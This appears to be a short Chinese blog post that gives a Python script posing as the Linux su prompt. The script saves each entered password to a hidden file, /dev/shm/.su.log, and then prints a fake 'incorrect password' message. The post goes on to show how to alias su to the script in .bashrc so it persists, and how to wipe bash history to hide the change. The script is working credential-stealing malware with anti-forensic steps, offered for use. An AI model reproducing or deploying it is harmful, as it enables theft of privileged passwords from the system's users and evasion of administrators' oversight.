#!/usr/bin/python

import os, sys, getpass, time

current_time = time.strftime("%Y-%m-%d %H:%M")

logfile="/dev/shm/.su.log"

fail_str = "su: incorrect password"

try:

    passwd = getpass.getpass(prompt='Password: ');

    file=open(logfile,'a')


    file.writelines("\n"+" [%s]t:%s "%(passwd, current_time)+"\n")


    file.close()

except:

    pass

time.sleep(1)

print (fail_str)

linux命令

echo "alias su='python3 文件路径'" >> .bashrc
#python 用的是2.7 ;python3 用的python3.4,;具体看你配置
#在bash永远保存,防止重启丢失
source .bashrc
#生效bash

关于清history

echo > .bash_history

history -c

history -r

#清空history缓存
#删除
#同步
#不推荐,推荐vi修改.bash_history文件,然后 history -r

后续改下py文件

 

相关文章:

  • 2023-03-11
  • 2021-12-22
  • 2021-04-11
  • 2022-01-31
  • 2021-07-14
  • 2021-04-23
  • 2022-12-23
猜你喜欢
  • 2021-09-01
  • 2021-07-28
  • 2022-12-23
  • 2021-04-08
  • 2021-07-19
  • 2021-11-18
  • 2022-12-23
相关资源
相似解决方案